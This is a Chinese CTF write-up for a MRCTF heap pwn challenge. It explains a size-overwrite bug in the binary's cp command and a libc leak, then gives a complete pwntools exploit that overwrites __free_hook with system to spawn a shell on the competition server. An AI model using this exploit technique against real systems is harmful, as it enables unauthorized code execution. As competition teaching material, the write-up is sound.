昨天打的mrctf上的一道题,大概数了一下有十几个解吧,算是签到题
题目给出了一个程序,运行起来之后是一个bash环境,但是里面的文件都是堆上的内存。拿到题目之后首先分析一下文件结构体:
这里写的稍微有点问题,其实标志位是前四位,然后file_name的offset为4到20,20到24是这四个字节没有用,是空的,不过懒得改了,凑活着看吧
其中标志位标识当前chunk是一个文件还是一个文件夹
其他函数具体怎么逆向过程就不说了,好麻烦
如果在逆向上卡住的可以给我发私信,我把逆完的i64发你
然后看下洞在哪:
这个题在echo的时候malloc的值是固定的,但是在复制文件内容的时候,如果dest的content是空的则会根据src的content长度来进行malloc,这里有两个地方比较好,一个是malloc的大小很好控制,只需要在src文件输入指定长度的内容,然后再cp一下就行,第二个是有一个size覆盖,如果malloc(0x18),并且内容写满,那么在计算strlen的时候就会把下一个chunk的size也计算进去,然后再strncpy的时候就会用src堆块的下一个chunk的size,覆盖掉dest堆块的下一个chunk的size,可以利用这个造成一个堆块重叠。
最后再简单说说泄露libc,其实很好泄露,通过echo获取unsortedbin,然后在cp的时候控一下,执行malloc(8),然后strcpy8个a过去,再打印就可以把libc地址带出来了
from pwn import *
from ctypes import *
#io = process('./pwn')
io = remote('140.82.17.215', 23595 )
libc = ELF('./libc-2.31.so')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def cmd(command):
io.sendline(command)
def read(file,context):
cmd("echo "+context+" -> "+file)
cmd("touch 0 1 2 3 4 5 6 7 8 9 a b c d e")
read('e','a'*0x110)
read('1','a'*0x500)
read('2','a'*8)
cmd("cp 2 3")
cmd("cat 3")
ru('a'*8)
libcbase=u64(io.recv(6).ljust(8,'\x00'))-(0x7feccf7f9be0-0x7feccf60d000)
lg("libcbase")
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
read('2','a'*0x38)
cmd("cp 2 4")
cmd("cp e 5")
cmd("cp 2 6")
cmd("touch h")
cmd("cp 2 8")
cmd("cp 2 9")
cmd("cp 9 4")
cmd("cp 0 8")
cmd("cp 0 6")
cmd("cp 0 5")
payload='a'*0x120+p64(free_hook-0x30)[:6]
read('h',payload)
read('2','a'*0x30+p64(system)[:6])
cmd("cp 2 a")
cmd("cp 2 b")
cmd("/bin/sh")
irt()